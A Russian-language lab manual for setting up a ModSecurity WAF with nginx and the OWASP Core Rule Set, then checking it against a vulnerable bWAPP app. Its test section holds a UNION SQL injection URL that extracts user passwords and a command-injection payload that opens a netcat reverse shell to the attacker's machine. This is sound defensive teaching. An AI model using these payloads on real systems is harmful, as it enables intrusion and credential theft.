---
# System prepended metadata

title: Лабораторная работа 8. WAF

---

# Лабораторная работа 8. WAF

**Web Application Firewall** (сокращенно — **WAF**) - средства фильтрации трафика прикладного уровня, специально ориентированные на веб-приложения. Применение Web Application Firewall традиционно считается наиболее эффективным подходом к защите веб-ресурсов. WAF может быть реализован как облачный сервис, агент на веб-сервере или специализированное железное или виртуальное устройство.

## Инфраструктура

![](https://hackmd.io/_uploads/SkmWvQI83.png)


## Подготовка к работе

### ВАЖНО

Следите за использованием места на диске!!!

![](https://hackmd.io/_uploads/HJSmmt7U3.png)

**Не допускайте заполнения до 100%, иначе придётся восстанавливать pnet с удалением всех ваших лабораторных работ. Увеличивать дисковое пространство строго по инструкции. Инструкция:**

https://pnetlab.com/pages/documentation?slug=how-to-expand-hdd-for-pnetlab

### Образы для WAF

#### Шаблон bWapp

Скачиваем отсюда https://disk.yandex.ru/d/K69QNh2RUxLnbA 

#### Шаблон Ubuntu (modsecurity)

Скачиваем отсюда https://disk.yandex.ru/d/yqKs5h02EoulzA

Чтобы использовать эти образы, нужно переместить скачанные папки в PNET по пути:

`/opt/unetlab/addons/qemu/`

После чего в терминал pnet ввести команду:

`/opt/unetlab/wrappers/unl_wrapper -a fixpermissions`

#### Пример импорта с использованием FileZilla:

![](https://hackmd.io/_uploads/SyW7bF7I2.png)

Разархивируем скачанные архивы с образами, затем перетащим их по нужному пути:

![](https://hackmd.io/_uploads/rJWRZFQI2.png)
![](https://hackmd.io/_uploads/rJlezY7L3.png)

### Установка Nginx на сервере Modsecurity

Заходим на Modsecurity:

```
user: root
password: eve@123
```

**Команды выполняем от root**

1. Обновляем пакеты:

```
apt update && apt upgrade -y
reboot
```

2. Если Nginx уже установлен, необходимо его удалить:

```
systemctl stop nginx
apt-get purge nginx -y && apt autoremove nginx -y
```
![](https://hackmd.io/_uploads/BJTguF7I3.png)

Добавим репозиторий с nginx **для ubuntu 22**:

**Свою версию вы можете увидеть здесь:**
![](https://hackmd.io/_uploads/HJ6dUYXUh.png)

```
add-apt-repository ppa:ondrej/nginx -y && apt update
```
![](https://hackmd.io/_uploads/Bk8BdtmU3.png)


Если у вас **ubuntu 20**:
```
add-apt-repository ppa:ondrej/nginx-stable -y && apt update
```

Установим пакеты. Если будет предложено оставить текущий файл конфигурации nginx, то оставляем его:

```
apt install nginx-core nginx-common nginx nginx-full -y
```

Нам нужен исходный код для дальнейшей компиляции ModSec. Отредактируем файл (в предыдущих версиях вместо jammy будет другое):

```
nano /etc/apt/sources.list.d/ondrej-ubuntu-nginx-jammy.list
```

Отредактируем файл таким образом:

![](https://hackmd.io/_uploads/S1BZeoQUn.png)

Обновим репозиторий:

```
apt update
```

Создадим директорию с исходным кодом и перейдём туда:
```
mkdir /usr/local/src/nginx && cd /usr/local/src/nginx
```

Загрузим исходные коды:
```
apt install dpkg-dev -y && sudo apt source nginx
```
Версии должны совпадать, обязательно проверьте:
![](https://hackmd.io/_uploads/rypAlsXU3.png)

## Modsecurity. Подготовка к работе

Для подкачки исходных файлов установим git:

```
apt install git -y
```

Скачиваем исходные файлы с гитхаба:
```
git clone --depth 1 -b v3/master --single-branch https://github.com/SpiderLabs/ModSecurity /usr/local/src/ModSecurity/
```
![](https://hackmd.io/_uploads/r1rAXsQUn.png)

Перейдём в папку:
```
cd /usr/local/src/ModSecurity/
```

И установим зависимости:
```
apt install gcc make build-essential autoconf automake libtool libcurl4-openssl-dev liblua5.3-dev libfuzzy-dev ssdeep gettext pkg-config libpcre3 libpcre3-dev libxml2 libxml2-dev libcurl4 libgeoip-dev libyajl-dev doxygen -y
```

Теперь нужно добавить `git submodule init` и обновить `git submodule update` модули гит:

![](https://hackmd.io/_uploads/BkQTNjmU3.png)

Выполните команды:
```
./build.sh
./configure
make
make install
```

![](https://hackmd.io/_uploads/B1FedoQ8n.png)


**Примечание:**
> При использовании команды ./configure игнорируйте сообщение fatal: No names found, cannot describe anything.
> При использовании команды make начнётся не быстрый процесс. Ускорить можно при помощи команды make -j 6, если на данной машине есть 6 выделенных ядер процессора.

## Установка коннектора nginx на Modsecurity

```
git clone --depth 1 https://github.com/SpiderLabs/ModSecurity-nginx.git /usr/local/src/ModSecurity-nginx/
```
![](https://hackmd.io/_uploads/HywDdim8n.png)


Переходим в директорию nginx.XX.X - текущая версия, может отличаться в зависимости от даты выполнения работы, в данном случае директория будет с версией **/usr/local/src/nginx/nginx-1.24.0**:

```
cd /usr/local/src/nginx/nginx-1.24.0
```

Устанавливаем зависимости:
```
apt build-dep nginx -y && apt install uuid-dev -y
```

Выполняем конфигурацию:
```
./configure --with-compat --add-dynamic-module=/usr/local/src/ModSecurity-nginx
```
![](https://hackmd.io/_uploads/rkIVYj78h.png)

Выполняем сборку модулей:
```
make modules
```

Копируем динамический модуль:
```
cp objs/ngx_http_modsecurity_module.so /usr/share/nginx/modules/
```

## Конфигурирование ModSec: коннектор

Редактируем конфиг nginx:
`nano /etc/nginx/nginx.conf`

Нужно добавить указанную строчку в самый верх этой конфигурации (тут используется путь до файла, который был скопирован выше)

> load_module modules/ngx_http_modsecurity_module.so;
> 

Теперь туда нужно добавить следующие строки. Расположить из нужно в секции **HTTP {}**

> modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/modsec-config.conf;

![](https://hackmd.io/_uploads/r1869smU2.png)

## Конфигурирование ModSec: файлы и правила

Создаем директорию:
`mkdir /etc/nginx/modsec/`

Копируем туда шаблон конфигурации:
`cp /usr/local/src/ModSecurity/modsecurity.conf-recommended /etc/nginx/modsec/modsecurity.conf`

И редактируем его:
`nano /etc/nginx/modsec/modsecurity.conf`


Hеобходимо установить WAF в режим активной блокировки атак, то строчку нужно поменять на:
![](https://hackmd.io/_uploads/rJqU3o78n.png)

Изменим параметры аудита:
![](https://hackmd.io/_uploads/BkeE3jQLn.png)

> Доступные части журнала аудита:
> 
> - A: Заголовок журнала аудита (обязательно).
> - B: Заголовки запросов.
> - C: Тело запроса (присутствует только в том случае, если тело запроса существует и ModSecurity настроен на его перехват. Для этого потребуется включить параметр SecRequestBodyAccess).
> - D: зарезервировано для промежуточных заголовков ответа; еще не реализовано.
> - E: Промежуточное тело ответа (присутствует только в том случае, если ModSecurity настроен на перехват тел ответов и если механизм журнала аудита настроен на его запись. Для перехвата тел ответов требуется, чтобы SecResponseBodyAccess был включен). Промежуточное тело ответа такое же, как и фактическое тело ответа, если ModSecurity не перехватывает промежуточное тело ответа, и в этом случае фактическое тело ответа будет содержать сообщение об ошибке (либо сообщение об ошибке Apache по умолчанию, либо страницу ErrorDocument).
> - F: Заголовки окончательного ответа (за исключением заголовков Date и Server, которые всегда добавляются Apache на позднем этапе доставки контента).
> - G: зарезервировано для фактического тела ответа; еще не реализовано.
> - H: Трейлер журнала аудита.
> - I: Эта часть не была реализована в ModSecurity v3.
> - J: Эта часть содержит информацию о файлах, загруженных с использованием кодировки multipart/form-data.
> - K: Эта часть не была реализована в ModSecurity v3.
> - Z: Конечная граница, обозначает конец записи (обязательно).

Теперь добавим правила обнаружения атак на примере правил OWASP:

`nano /etc/nginx/modsec/modsec-config.conf`

Добавим в файл строку **Include /etc/nginx/modsec/modsecurity.conf**:

![](https://hackmd.io/_uploads/Sk-Pps7Uh.png)

Перенесем файл unicode.mapping **cp /usr/local/src/ModSecurity/unicode.mapping /etc/nginx/modsec/**.

И проверим, что конфиги nginx не вызывают конфликтов:
```
nginx -t
```
![](https://hackmd.io/_uploads/BkalRiQ83.png)

Если всё хорошо и конфилктов не вызвано, перезапускаем nginx:
```
systemctl restart nginx
```

## Установка правил

В данном примере используется v3.3.2, поэтому все последующие команды используют именно эти цифры. Если вы устанавливаете другую версию, будьте внимательнее при введении последующих команд. Вы можете переключиться в директорию, в которой храните загруженные файлы.
```
wget https://github.com/coreruleset/coreruleset/archive/refs/tags/v3.3.2.zip
```

Устанавливаем unzipapt:
```
apt install unzip -y
```

Распаковываем архив в нужную директорию:
```
unzip v3.3.2.zip -d /etc/nginx/modsec
```

Копируем файл эталонного конфига. Эталон лучше не удалять, он останется в виде бекапа конфига:

```
cp /etc/nginx/modsec/coreruleset-3.3.2/crs-setup.conf.example /etc/nginx/modsec/coreruleset-3.3.2/crs-setup.conf
```

Для активации правил изменим конфиг:
```
nano /etc/nginx/modsec/modsec-config.conf
```
![](https://hackmd.io/_uploads/BkuiJ3QI2.png)

Сохраним файл. Проверим работоспособность с помощью `sudo nginx -t` и перезапустим сервис, если всё хорошо `systemctl restart nginx`.
![](https://hackmd.io/_uploads/Hycfe3QIh.png)

Чтобы проверить работоспособность решения, в консоль сервера введите:
```
tail -f /var/log/modsec_audit.log
```

Затем зайдите по http на данный сервер, используя следующий URL (IP зависит от адреса вашего сервера):
```
http://*IP адрес bwapp*/index.html?exec=/bin/bash
```

Примечание:
> Если Modsecurity сработает, вы увидите новые события в открытом журнале. Если при этом включен режим активных блокировок, в браузере отобразится ошибка 403.
> ![](https://hackmd.io/_uploads/Hysg-2X82.png)

## Проксирование

Чтобы Modsecurity мог защищать сайт, необходимо создать обратное проксирование на данный сайт.

Отредактируем конфигурацию:
```
nano /etc/nginx/sites-enabled/default
```

Приведём конфигурацию под `location /` в следующий вид:
![](https://hackmd.io/_uploads/ryjbY4ULn.png)

## Тестирование

Поскольку ModSecurity находится в режиме блокировки, то после попытки проведения атаки в окне браузера появится ошибка 403.

Воспользуемся машинкой Kali и перейдём по адресу `http://*IP адрес ModSecurity*/index.html?exec=/bin/bash`

![](https://hackmd.io/_uploads/BkD0KN8L3.png)

**Примечание:**
> Пароль и логин выделены на скрине

После выбора сложности выберем эксплуатируемую уязвимость:
![](https://hackmd.io/_uploads/HkqM9ELI3.png)

- также можно выбрать уязвимость в выпадающем списке:
![](https://hackmd.io/_uploads/Ski_MrUIh.png)

**Используемая литература:**
https://timcore.ru/2021/05/24/14-ujazvimost-sql-injection-get-select/
https://timcore.ru/2021/05/18/9-ujazvimost-os-command-injection/


### SQL-Injection GET/Select

```
http://192.168.1.100/bWAPP/sqli_2.php?movie=777 union select 1,login,3,email,password,6,7 from users#&action=go
```

Этот запрос пытается извлечь данные из таблицы "users" с использованием оператора "union select", который позволяет объединять результаты нескольких запросов в один набор данных.

Запрос начинается с числа 777, которое не имеет значения и может быть любым числом. Затем следует оператор "union select", после которого перечисляются столбцы, которые мы хотим извлечь из таблицы "users". В данном случае пытаемся извлечь значения из столбцов "login", "email" и "password".

Знак "#" в конце запроса является символом комментария в SQL и используется для игнорирования оставшейся части запроса.

На Kali машинке мы увидим ошибку 403:

![](https://hackmd.io/_uploads/HyUx3DvU3.png)

В логах сервера увидим следующее:

![](https://hackmd.io/_uploads/HJ1U3wDIh.png)

### OS Command Injection

Это тип атаки на приложение, предоставляющий злоумышленнику возможность несанкционированного выполнения команд операционной системы на некоторой машине.

**Примечание:** перед использованием команды узнайте ip адрес Kali, команда `ip a`

```
www.nsa.gov && nc -vn 192.168.1.102 4444 -e /bin/bash
```

Эта команда является командой для выполнения в терминале Linux и состоит из двух частей, разделенных оператором "&&":

1. www.nsa.gov - это URL-адрес сайта Национального управления по сигнальной разведке США. Эта часть команды не имеет отношения к выполнению команды в терминале.
2. nc -vn 192.168.1.102 4444 -e /bin/bash - это команда для установления соединения с IP-адресом 192.168.1.102 на порту 4444 и запуска оболочки bash на удаленном компьютере.

![](https://hackmd.io/_uploads/BkYVawPI2.png)

В логах сервера увидим следующее:

![](https://hackmd.io/_uploads/SJwHRwvLn.png)